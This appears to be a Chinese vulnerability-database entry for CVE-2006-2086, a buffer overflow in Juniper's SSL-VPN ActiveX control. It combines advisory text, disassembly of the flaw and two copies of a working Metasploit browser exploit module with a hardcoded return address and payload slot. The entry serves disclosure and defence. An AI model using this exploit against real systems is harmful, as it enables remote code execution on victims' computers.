CVE-2006-2086
CVSS7.5
发布时间 :2006-04-29 06:02:00
修订时间 :2011-03-07 21:35:13
NMCOEP    

[原文]Buffer overflow in JuniperSetupDLL.dll, loaded from JuniperSetup.ocx by the Juniper SSL-VPN Client when accessing a Juniper NetScreen IVE device running IVE OS before 4.2r8.1, 5.0 before 5.0r6.1, 5.1 before 5.1r8, 5.2 before 5.2r4.1, or 5.3 before 5.3r2.1, allows remote attackers to execute arbitrary code via a long argument in the ProductName parameter.


[CNNVD]Juniper SSL-VPN客户端ActiveX控件远程溢出漏洞(CNNVD-200604-546)

        Juniper的SSL VPN系列产品可为用户提供安全的远程接入服务。
        Juniper的SSL-VPN客户端ActiveX控件中存在远程溢出漏洞,远程攻击者可能利用此漏洞在客户机器上执行任意指令。
        JuniperSetupDLL.dll是从JuniperSetup.ocx ActiveX控件加载的。如果在ProductName参数中指定了如下的超长字符串的话,就会在JuniperSetupDLL.dll函数中触发栈溢出:
        --- object classid="clsid:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id=NeoterisSetup codebase="path_to_JuniperSetup.cab#version=1,0,0,3">
        .....
        ---PARAM NAME="ProductName" VALUE="AAAAAAA (long 'A')">
        .....
        script language=javascript
        NeoterisSetup.startSession();
        end script
        有漏洞的函数如下:
        .text:04F15783 ; int __stdcall sub_4F15783_ilvdlp(char *szProductName,LPCSTR lpValueName,LPBYTE lpData,LPDWORD lpcbData)
        .text:04F15783 sub_4F15783_ilvdlp proc near
        .text:04F15783
        .text:04F15783 SubKey = byte ptr -10Ch
        .text:04F15783 Type = dword ptr -8
        .text:04F15783 hKey = dword ptr -4
        ...
        .text:04F157BF lea eax, [ebp+SubKey]
        .text:04F157C5 push offset szUninstallRegistryKey
        .text:04F157CA push eax
        .text:04F157CB call strcpy
        .text:04F157D0 push [ebp+szProductName]
        .text:04F157D3 lea eax, [ebp+SubKey]
        .text:04F157D9 push eax
        .text:04F157DA call strcat
        .data:04F1EA10 ; char szUninstallRegistryKey[]
        .data:04F1EA10 szUninstallRegistryKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\',0
        这个函数的第一个参数(szProductName)是用于创建卸载注册表项的产品名。ProductName参数的值字段传送给szProductName,未经任何边界检查便使用strcat()函数拷贝到了本地缓冲区SubKey。因此,如果能够传送特制的ProductName参数的话,就可以覆盖栈中的返回地址并执行任意代码。
        
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2086
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2086
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-546
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/477604
(UNKNOWN)  CERT-VN  VU#477604
http://www.vupen.com/english/advisories/2006/1543
(UNKNOWN)  VUPEN  ADV-2006-1543
http://www.securityfocus.com/archive/1/archive/1/432155/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060426 [EEYEB-20060227] Juniper Networks SSL-VPN Client Buffer Overflow
http://www.juniper.net/support/security/alerts/PSN-2006-03-013.txt
(UNKNOWN)  CONFIRM  http://www.juniper.net/support/security/alerts/PSN-2006-03-013.txt
http://www.eeye.com/html/research/advisories/AD20060424.html
(UNKNOWN)  MISC  http://www.eeye.com/html/research/advisories/AD20060424.html
http://xforce.iss.net/xforce/xfdb/26077
(UNKNOWN)  XF  juniper-ive-activex-bo(26077)
http://www.securityfocus.com/bid/17712
(UNKNOWN)  BID  17712
http://www.osvdb.org/25001
(UNKNOWN)  OSVDB  25001
http://securitytracker.com/id?1016000
(UNKNOWN)  SECTRACK  1016000
http://securityreason.com/securityalert/819
(UNKNOWN)  SREASON  819
http://secunia.com/advisories/19842
(UNKNOWN)  SECUNIA  19842

- 漏洞信息

Juniper SSL-VPN客户端ActiveX控件远程溢出漏洞
高危 缓冲区溢出
2006-04-29 00:00:00 2006-04-30 00:00:00
远程  
        Juniper的SSL VPN系列产品可为用户提供安全的远程接入服务。
        Juniper的SSL-VPN客户端ActiveX控件中存在远程溢出漏洞,远程攻击者可能利用此漏洞在客户机器上执行任意指令。
        JuniperSetupDLL.dll是从JuniperSetup.ocx ActiveX控件加载的。如果在ProductName参数中指定了如下的超长字符串的话,就会在JuniperSetupDLL.dll函数中触发栈溢出:
        --- object classid="clsid:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id=NeoterisSetup codebase="path_to_JuniperSetup.cab#version=1,0,0,3">
        .....
        ---PARAM NAME="ProductName" VALUE="AAAAAAA (long 'A')">
        .....
        script language=javascript
        NeoterisSetup.startSession();
        end script
        有漏洞的函数如下:
        .text:04F15783 ; int __stdcall sub_4F15783_ilvdlp(char *szProductName,LPCSTR lpValueName,LPBYTE lpData,LPDWORD lpcbData)
        .text:04F15783 sub_4F15783_ilvdlp proc near
        .text:04F15783
        .text:04F15783 SubKey = byte ptr -10Ch
        .text:04F15783 Type = dword ptr -8
        .text:04F15783 hKey = dword ptr -4
        ...
        .text:04F157BF lea eax, [ebp+SubKey]
        .text:04F157C5 push offset szUninstallRegistryKey
        .text:04F157CA push eax
        .text:04F157CB call strcpy
        .text:04F157D0 push [ebp+szProductName]
        .text:04F157D3 lea eax, [ebp+SubKey]
        .text:04F157D9 push eax
        .text:04F157DA call strcat
        .data:04F1EA10 ; char szUninstallRegistryKey[]
        .data:04F1EA10 szUninstallRegistryKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\',0
        这个函数的第一个参数(szProductName)是用于创建卸载注册表项的产品名。ProductName参数的值字段传送给szProductName,未经任何边界检查便使用strcat()函数拷贝到了本地缓冲区SubKey。因此,如果能够传送特制的ProductName参数的话,就可以覆盖栈中的返回地址并执行任意代码。
        
        

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://www.juniper.net/

- 漏洞信息 (16568)

Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow (EDBID:16568)
windows remote
2010-05-09 Verified
0 metasploit
N/A [点击下载]
##
# $Id: juniper_sslvpn_ive_setupdll.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the JuniperSetupDLL.dll
				library which is called by the JuniperSetup.ocx ActiveX	control,
				as part of the Juniper SSL-VPN (IVE) appliance. By specifying an
				overly long string to the ProductName object parameter, the stack
				is overwritten.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'patrick',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2006-2086' ],
					[ 'OSVDB', '25001' ],
					[ 'BID', '17712' ],
					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'		=>
				{
					'Space'		=> 1024,
					'BadChars'	=> "\x00\x0a\x0d\x20<>()\"\\\';@\#\%\`",
					'StackAdjustment' => -3500,
				},
			'Platform'		=> 'win',
			'Targets'		=>
				[
					[ 'Windows XP Pro SP3 English',	{ 'Ret' => 0x77ae7f99 } ],# crypt32.dll jmp esp
					[ 'Debugging',			{ 'Ret' => 0x44434241 } ],
				],
			'DisclosureDate' => 'Apr 26 2006',
			'DefaultTarget' => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize
		vname = rand_text_alpha(rand(100) + 1)

		# Build the exploit buffer
		sploit = rand_text_alpha(2200)
		sploit[220, 4] = [target['Ret']].pack('V')
		sploit[240, payload.encoded.length] = payload.encoded

		# Build out the message
		content = %Q|
			<html>
			<object classid="CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id="#{vname}">
			<PARAM NAME="ProductName" VALUE="#{sploit}">
			</object>
			<script language="javascript">
			#{vname}.startSession();
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
		

- 漏洞信息 (F83003)

Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow (PacketStormID:F83003)
2009-11-26 00:00:00
patrick  metasploit.com
exploit,overflow,activex
juniper
CVE-2006-2086
[点击下载]

This Metasploit module exploits a stack overflow in the JuniperSetupDLL.dll library which is called by the JuniperSetup.ocx ActiveX control, as part of the Juniper SSL-VPN (IVE) appliance. By specifying an overly long string to the ProductName object parameter, the stack is overwritten.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the JuniperSetupDLL.dll
				library which is called by the JuniperSetup.ocx ActiveX	control,
				as part of the Juniper SSL-VPN (IVE) appliance. By specifying an
				overly long string to the ProductName object parameter, the stack
				is overwritten.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'patrick',
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2006-2086' ],
					[ 'OSVDB', '25001' ],
					[ 'BID', '17712' ],
					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'		=>
				{
					'Space'		=> 1024,
					'BadChars'	=> "\x00\x0a\x0d\x20<>()\"\\\';@\#\%\`",
					'StackAdjustment' => -3500,
				},
			'Platform'		=> 'win',
			'Targets'		=>
				[
					[ 'Windows XP Pro SP3 English',	{ 'Ret' => 0x77ae7f99 } ],# crypt32.dll jmp esp
					[ 'Debugging',			{ 'Ret' => 0x44434241 } ],
				],
			'DisclosureDate' => 'Apr 26 2006',
			'DefaultTarget' => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize
		vname = rand_text_alpha(rand(100) + 1)

		# Build the exploit buffer
		sploit = rand_text_alpha(2200)
		sploit[220, 4] = [target['Ret']].pack('V')
		sploit[240, payload.encoded.length] = payload.encoded

		# Build out the message
		content = %Q|
			<html>
			<object classid="CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id="#{vname}">
			<PARAM NAME="ProductName" VALUE="#{sploit}">
			</object>
			<script language="javascript">
			#{vname}.startSession();
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
    

- 漏洞信息

25001
Juniper Networks SSL-VPN IVE JuniperSetupDLL.dll ActiveX ProductName Parameter Overflow
Remote / Network Access, Context Dependent Input Manipulation
Loss of Integrity
Exploit Unknown Vendor Verified

- 漏洞描述

A remote overflow exists in Juniper Networks' SSL-VPN IVE OS. The product fails to in the handling of the ProductName parameter of the JuniperSetupDLL.dll library resulting in a stack-based buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2006-04-25 Unknow
Unknow 2006-04-25

- 解决方案

Upgrade to version the version specified by the vendor, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站